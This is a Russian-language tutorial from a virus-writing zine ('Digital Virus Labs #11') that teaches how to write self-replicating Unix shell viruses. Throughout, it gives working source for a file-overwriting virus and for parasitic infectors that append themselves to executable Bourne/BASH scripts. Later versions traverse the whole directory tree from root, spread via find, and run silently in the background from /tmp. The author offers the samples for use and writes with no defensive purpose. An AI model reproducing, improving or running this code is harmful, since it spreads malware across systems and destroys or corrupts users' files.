- [Digital Virus Labs #11] - [Page 28] - Вирусы на Shell UNIX (c) by Gobleen Warrior/SMF Что такое Shell UNIX? Те, кто знают, могут пропустить несколько абзацов, те, кто ХОРОШО знают, могут вообще не читать данный текст. Shell UNIX - это своеобразный BAT язык UNIX систем, но гораздо более продвинутый, функциональный и эффективный. Многие системные утилиты написаны именно на нем, а это что-нибудь, да значит. Shell UNIX существует во множестве разновидностей, например SH, BASH, ZSH, KSH, CSH, вы даже можете написать свой язык сценариев Shell. Это немного осложняет написание программ, снижая переносимость. Язык Shell UNIX достаточно гибок и универсален. Равно как в BAT, в Shell UNIX существуют внутренние, встроенные, команды, например "cd", и внешние, системные, команды, например "cp". В Shell UNIX присутствуют конструкции типа "if ... then", "for ... in ... do", и им подобные. В данной статье я расскажу об одном из многочисленных видов Shell - SH и его расширенной версии BASH. Синтаксис SH чем-то похож на синтаксис C, что неудивительно, ведь UNIX большинством своим - сишная система, что иногда крайне удручает. О рациональности написания Shell вирусов можно долго спорить. С одной стороны, они достаточно экзотичны, как BAT, с другой стороны Shell в UNIX используется гораздо активнее, чем BAT в DOS/Windows, с третьей стороны, UNIX - достаточно хорошо защищенная от вирусов вообще и от скриптовых вирусов тем более, система. Вобщем точек зрения много. Тем не менее, вирусы подобного типа существуют, а значит это кому то надо. Кстати говоря, нашумевший Ramen наполовину написан на Shell Script. Наверное, достаточно слов, пора бы уже и коду быть. Нижеприведенный код является примитивным оверрайтером в текущем каталоге, причем поражает все файлы, независимо от их типа. <-------------------------------- Cut here --------------------------------> for vic in * do cp $0 $vic done <-------------------------------- Cut here --------------------------------> Ничего оригинального в этом вирусе нет, и в том, или ином виде, подобные вирусы присутствовали во множестве текстов на эту тему. Что и как делает этот вирус? Для каждого файла (обозначенного переменной "vic" выполнить команду "cp", которая копирует первый файл во второй, в нашем случае $0 в $vic. Что за $0? Так обозначается первый элемент командной строки, а в данном случае это имя запущенного файла с вирусом. Значок "$" означает, что используется содержимое переменной, имя которой стоит после данного значка. Следует заметить, что в UNIX файлами считается все: начиная от директорий, проходя через ссылки, и заканчивая оперативной памятью, поэтому к минусам данного вируса добавляется еще и то, что он понятия не имеет, что заражает. Все это, конечно, можно обойти, но какой смысл ставить движок от "Porshe" на "Запорожец"? Если уж делать вирус более менее нормальным, то он просто обязан быть паразитическим (неперезаписывающим). Вот простенький пример паразитического вируса - дописывающийся в конец в текущей директории зверек, пока еще без особых прибамбасов. <-------------------------------- Cut here --------------------------------> for vic in * do if [ -z "`grep -s Gobleen $vic`" ] then echo >> $vic tail -n 8 $0 >> $vic fi done <-------------------------------- Cut here --------------------------------> Конечно вирус еще далек от совершенства, но, по крайней мере, не оверрайтер. Что и как он делает? Для каждого найденного файла выполняет следующие действия: если в файле отсуствует строка "Gobleen" (метка заражения), дописывает в конец файла символ перевода строки (некоторые файлы могут не заканчиваться на новой строке, а это приведет к ошибке. После этого в найденный файл приписывается 8 строк из конца текущего запущенного файла, а там у нас вирус. И все. Что для этого используется: как видите, условием для "if" является строка [ -z "`grep -s Gobleen $vic`" ]. Что это означает? Очень просто - `grep -s Gobleen $vic` выводит все строки в файле $vic, содержащие подстроку "Gobleen". "-s" для того, чтобы не выдавались сообщения об ошибках, например если мы попробуем проверить файл, доступ к которому нам запрещен. То, что вся эта строка находится в кавычках (""), говорит о том, что в качестве строки для проверки будет использоваться результат, возвращаемый "grep". "-z" означает "если строки не существует". Таким образом, все это условие вместе означает: "если не существует строки, содержащей подстроку "Gobleen" в файле "$vic", выполнить следующие команды". Ну а далее идут, собственно, вирусные команды. Строка "echo >> $vic" добавляет вывод команды "echo" в конец файла $vic. по умолчанию она дополняет выводимую строку символом перевода строки, в данном случае, строку мы ей не задаем вообще, поэтому она только выводит оный символ. Строка "tail -n 8 $0 >> $vic" дописывает (">>") 8 строчек ("-n") из конца файла $0 в файл $vic. Как видите, никаких проверок мы опять не делаем, а зря. Что именно мы должны проверить? Как минимум следующие моменты: заражаемый файл является именно файлом (а не директорией, например); заражаемый файл является исполняемым; заражаемый файл является скриптом Shell UNIX (той разновидности, под какую написан вирус), мы имеем права для записи в файл (иначе на экран будут выводиться сообщения об ошибках. Ну и плюс то, что мы уже проверили - зараженность. Как это сделать? Легко! Для проверки почти всего того, о чем написано выше, можно применить одну замечательную команду - "test". Честно говоря, мы уже применяли ее чуть выше, когда проверяли наличие/отсуствие строки - только там эта команда была написана немного в другой форме - "[ ... ]". Какую из форм использовать - решать вам. Итак, какие же проверки может выполнить эта замечательная команда? Я не буду описывать все - уж больно их много, но основные вот они: "-e" - файл существует "-d" - файл существует, и является директорией "-f" - файл существует, и является обычным файлом "-L" - файл существует, и является символической ссылкой "-r" - файл существует и доступен для чтения "-s" - файл существует и его размер ненулевой "-w" - файл существует и доступен для записи "-x" - файл существует и доступен для исполнения И это только для работы с файлами! А кроме этого есть условия для работы со строками и, собственно, для работы с самими условиями. Именно поэтому я и назвал эту команду замечательной. Если необходимо проверить отсуствие какого либо условия, например, что файл не является директорией, используйте перед условием знак "!", например так: [ ! -d file ] или так: test ! -d file. Строка, проверяющая, существует ли файл "file", и является ли он исполняемым, будет выглядеть так: [ -x file ] или так: test -x file Как же узнать, к какому типу Shell скриптов принадлежит файл, и является ли он вообще скриптом? Стопроцентного способа, к сожалению, не существует. Есть несколько способов, каждый из которых не лишен минусов: - Можно проверить наличие в файле строки, указывающей на интерпретатор, например #!/bin/sh, но такая строка может и отсутствовать, а файл будет прекрасно работать, правда такие файлы редко встречаются, но все-таки. - Можно вызвать команду "file", которая должна вернуть строку, описывающую тип указанного файла, но иногда эта команда ошибается, так, например, если в начале файла отсутствует строка, описывающая интерпретатор, то эта команда заявляет, что указанный файл - ASCII Text. - Можно проверить файл на наличие какой-нибудь строки, специфичной для скриптов нужного нам типа, например "echo" или "cat", но тут мы рискуем попасть на левый файл, заражение которого чревато боком, а это нам не нужно. Лично мне кажется, что лучше недозаразить, чем перезаразить - первые два способа лучше. Какой способ использовать вам - ваш выбор. Если с проверкой на наличие строки все ясно - пример такого действия был чуть выше, то использование команды "file" нужно пояснить. Как было сказано выше, данная команда возвращает строку, описывающую тип указанного файла, что же нам с этой строкой делать? Можно просто сравнить ее с эквивалентом, хранящимся в нашем теле: if [ "`file -b $vic`" = "Bourne shell script text" ] ; then Здесь "-b" нужно, чтобы в выводе команды не было имени тестируемого файла, а только его тип. Также можно пропустить вывод команды "file" через команду "grep", что, кстати, мне кажется лучшим, потому как слово "Bourne" присутствует и в определении SH-скриптов и в определении BASH-скриптов, и если мы будем тестировать выход "file" на наличие именно этой строки, то получим положительный результат на обоих типах файлов, а это, если у нас SH- скриптовый вирус, дает возможность определять два вида жертв одной строкой. Для BASH скриптов это не имеет смысла, потому как SH не имеет поддержки BASH, а вот BASH как раз поддерживает SH. Код будет выглядеть примерно так: if [ -n "`file $vic | grep Bourne`" ] ; then Здесь "-n" означает, что условие истинно, если строка существует (непустая), "|" означает конвейер - выход команды "file" подается на вход команды "grep". В результате условие будет истинным, если в выходе команды "file" присутствует слово "Bourne". После добавления всех этих проверок в наш вирус и небольшой оптимизации, получим следующий код: <-------------------------------- Cut here --------------------------------> for vic in * do if [ ! -d $vic ] && [ -z "`grep -s Gobleen $vic`" -a -x $vic -a -w $vic ] ; then if [ -n "`file $vic | grep Bourne`" ] ; then echo >> $vic tail -n 8 $0 >> $vic fi; fi done <-------------------------------- Cut here --------------------------------> У нас получился достаточно неплохой вирусок, правда, по прежнему не лишенный минусов. Здесь "-a" означает логическое "И", применяемое к условиям. Зачем мы проверяем не директория ли это? Затем, что в UNIX атрибут "x" по отношению к директории обозначает, что мы можем войти в эту директорию при помощи команды CD (или типа нее), а при попытке записи в каталог как в файл возникает ошибка, и на экран выводятся сообщения об ошибках, которые нам не просто не нужны, а могут даже повредить. При желании этот вирус можно еще соптимизить, но это затруднит понимание. Теперь о недостатках - их несколько: 1. Мы дописываемся в конец файла. А что если жертва заканчивается командой exit? Правда таких файлов немного, гораздо чаще эта команда используется для выхода из середины скрипта, что не менее неприятно - в обоих случаях наш код может не сработать, и если во втором случае шансы у него все-таки есть, то в первом их нет, а это, согласитесь, неприятно. 2. Кроме того, наш вирус работает в текущем каталоге, а это лишает вирус почти всех шансов. Что же делать? Есть несколько вариантов: - заражать файлы в заранее определенных каталогах, типа /bin, /usr/bin - старый добрый метод DOT-DOT - подниматься вверх по дереву каталогов, пока не наткнемся на самый верхний уровень - обход дерева каталогов Первые два метода недостаточно эффективны, на мой взгляд, потому как подразумевают некие ограничения, а это не есть хорошо, особенно, если учесть, что Shell-скрипты и так ограничены со всех сторон. Поэтому рассмотрим сразу третий метод, тем более, что поняв суть данных методов, вы сами сможете написать и первые две разновидности. Итак обход дерева каталогов. Его можно реализовать как минимум двумя способами: при помощи рекурсивных вызовов процедуры с системными функциями смены текущего каталога и при помощи системной функции find. Наверняка есть еще способы, но я думаю этих вполне достаточно. Если же у вас возникнет желание сделать это другими способами - дык и замечательно, UNIX Shell достаточно гибок и функционален для того, чтобы у вас это получилось без особого труда. Способ первый: рекурсивный обход при помощи внутренней процедуры. <-------------------------------- Cut here --------------------------------> do_dir () { cd $1 for vic in * do if [ -d $vic ] ; then do_dir $vic else if [ -z "`grep -s Gobleen $vic`" -a -x $vic -a -w $vic ] ; then if [ -n "`file $vic | grep Bourne`" ] ; then echo >> $vic cat /tmp/vic$$ >> $vic fi; fi fi; done cd .. } tail -n 17 $0 > /tmp/vic$$ do_dir / rm /tmp/vic$$ <-------------------------------- Cut here --------------------------------> Как это работает? Очень просто. Весь код начиная с первой строчки и по строчку "cd .. }" - процедура, отвечающая за обработку директории, имя которой передается в нее как параметр. При запуске выполнение начнется с команды tail, которая создаст файл с чистым вирусным телом и уникальным именем в директории /tmp, после чего вызовет процедуру обработки директорий с параметром "/" - что означает корень дерева каталогов. После отработки данной функции временный файл с чистым телом будет удален. Что делает процедура? Первым делом она меняет рабочий каталог на тот, чье имя передается ей при вызове. Причем передаются ей короткие имена, без пути, поэтому смена каталогов будет происходить в рабочей директории. После этого для всех файлов/директорий в текущем каталоге выполняется следующее: если это директория - рекурсивно вызывается процедура обработки, если это файл - он заражается. После обработки всех файлов/директорий в текущем каталоге каталог сменяется на верхний (".."). Таким образом происходит обработка всего дерева каталогов. ПРИМЕЧАНИЕ: Обратите внимание, процедура должна находится выше всех тех мест, откуда ее вызывают, в противном случае система не поймет, чего вы от нее хотите, так как процедура на тот момент еще будет ей неизвестна. Способ второй: использование системной функции find. Об этом способе стоит рассказать чуть подробнее. Утилита find предназначена в первую очередь для поиска файлов, но помимо этого, она умеет еще кучу всего (что свойственно для утилит UNIX). Одним из ее умений является поиск файлов по атрибутам, другим - выполнение неких действий с найденными файлами. Так, например, следующая команда ищет все файлы с атрибутом исполнения хотя бы для одного из трех вариантов - "владелец", "группа", "прочие пользователи" и выводит их имена на экран: find . -type f -perm +111 -exec bash -c \ "echo WE FOUND FILE {} HERE!" \; Почему это работает? Потому что для найденных файлов мы вызываем интерпретатор BASH с параметром "-c", что означает "брать команды из идущей следом строки", а следом у нас идет команда вывода на экран. Символом "{}" обозначается имя очередного найденного файла, команды для которого в данный момент исполняются. Данные команды должны быть записаны в виде "команды" \; для того, чтобы интерпретатор воспринял их как одну строку и передал ее запущенной нами копии интерпретатора. Плюс ко всему этому следует экранировать (ставить знак "\") перед элементами языка, которые могут помешать интерпретации строки как строки (типа "`", "$" и т.д.). Более наглядно и, надеюсь, понятно все это будет показано чуть ниже в примере. Теперь что касается find. Я не буду приводить список всех параметров, возможных для find, так как они все так или иначе полезные, а перечислить их все означает просто привести здесь полный текст MAN-файла, а это не входит в рамки данного туториала, поэтому я буду описывать только те параметры, которые буду использовать: "-type" - тип файла: d - директория f - обычный файл l - символическая ссылка "-perm -..." - Атрибуты доступа файла. Все биты значения "..." должны быть установлены для файла. "-perm +..." - Атрибуты доступа файла. Какой-либо из битов значения "..." должен быть установлен для файла. "-perm ..." - Атрибуты доступа файла. Все биты значения "..." должны присутствовать в битовой маске атрибутов файла. "-exec file" - Запустить на выполнение файл file. Теперь код: <-------------------------------- Cut here --------------------------------> tail -n 8 $0 > /tmp/vicGWI find . -type f -perm +111 -exec bash -c \ "if [ ! -d {} ] && [ -z \"\`grep -s Gobleen {}\`\" -a -x {} -a -w {} ] ; then if [ -n \"\`file {} | grep Bourne\`\" ] ; then echo >> {} cat /tmp/vicGWI >> {} fi; fi" \; rm /tmp/vicGWI <-------------------------------- Cut here --------------------------------> Данный вирус функционально аналогичен предыдущему. Пришлось только немного сменить имя временного файла, потому как переменная $$ обозначает номер текущей задачи в системе, а в этом вирусе, в отличие от предыдущего, номер задачи для каждого вызова разный, потому как мы запускаем новую задачу - копию интерпретатора BASH. Что ж, неплохо, мы теперь многое умеем, но вот работаем уж слишком долго. Как с этим быть? А очень просто! Если при запуске команды мы в самом конце командной строки поставим символ "&", то команда быдет выполнятся фоновым процессом, то есть не заметно, что нам и надо. Но есть одна загвоздка - если мы просто поставим этот значок после команды find со всем прочим, ни фига не получится. Почему? А потому что запустив команду find система сразу же перейдет к следующей команде и сотрет источник вирусного штамма и его неоткуда будет брать. Можно конечно и не стирать этот файл, но это не хорошо по моему. Придется маленько извратиться. Все было бы гораздо проще, если бы мы писАлись в начало файла, но раз уж мы выбрали трудный путь, то должны идти по нему до конца: <-------------------------------- Cut here --------------------------------> tail -n 9 $0 > /tmp/vicGWI; grep -v runGWI /tmp/vicGWI > /tmp/runGWI chmod 755 /tmp/runGWI; (/tmp/runGWI &); exit 0 find ./ -type f -perm +111 -exec bash -c \ "if [ ! -d {} ] && [ -z \"\`grep -s Gobleen {}\`\" -a -x {} -a -w {} ] ; then if [ -n \"\`file {} | grep Bourne\`\" ] ; then echo >> {} cat /tmp/vicGWI >> {} fi; fi" \; rm /tmp/???GWI <-------------------------------- Cut here --------------------------------> Вот такая вот забавная штука. В чем ее отличия от предыдущей: при запуске зараженного файла, вирус создает в каталоге /tmp 2 файла - в одном, с именем vicGWI находиться чистое тело вируса, другой, runGWI, производит заражение файлов. После их создания, система запускает файл runGWI фоновым процессом и завершает работу программы. Поэтому временнЫх задержек практически не будет и зараженные файлы при запуске не будут подозрительно долго зависать. Вот, вроде бы, и все, что я хотел написать в данном файле. В нем сознательно не были рассмотрены вирусы, пишущиеся в начало, по той причине, что поняв все написанное выше, написать их не составит большого труда. Причем с ними работать гораздо проще и приятнее, чем с вирусами, пишущимися в конец файлов. А вообще мир UNIX Shell настолько многогранен и интересен, что описать в одной статье все, о чем хотелось сказать, я просто не в состоянии, ибо это получится достаточно толстая книга, а никак не статья. Что касается возможностей и путей развития UNIX Shell, то, возможно, он так и останется чем-то экзотическим, а возможно и нет, так как он весьма и весьма функционален, в чем я сам убедился, пока писал программы для этого туториала. На этом я, так и не рассказав даже о 10 процентах возможностей UNIX Shell, заканчиваю эту статью. Если кто-нибудь нашел ее интересной и полезной для себя, я очень рад. ЗЫ: В прилагающемся архиве находятся все примеры из данной статьи. Они в табуляции UNIX - 1 символ на перенос строки. Gobleen Warrior//SMF 1901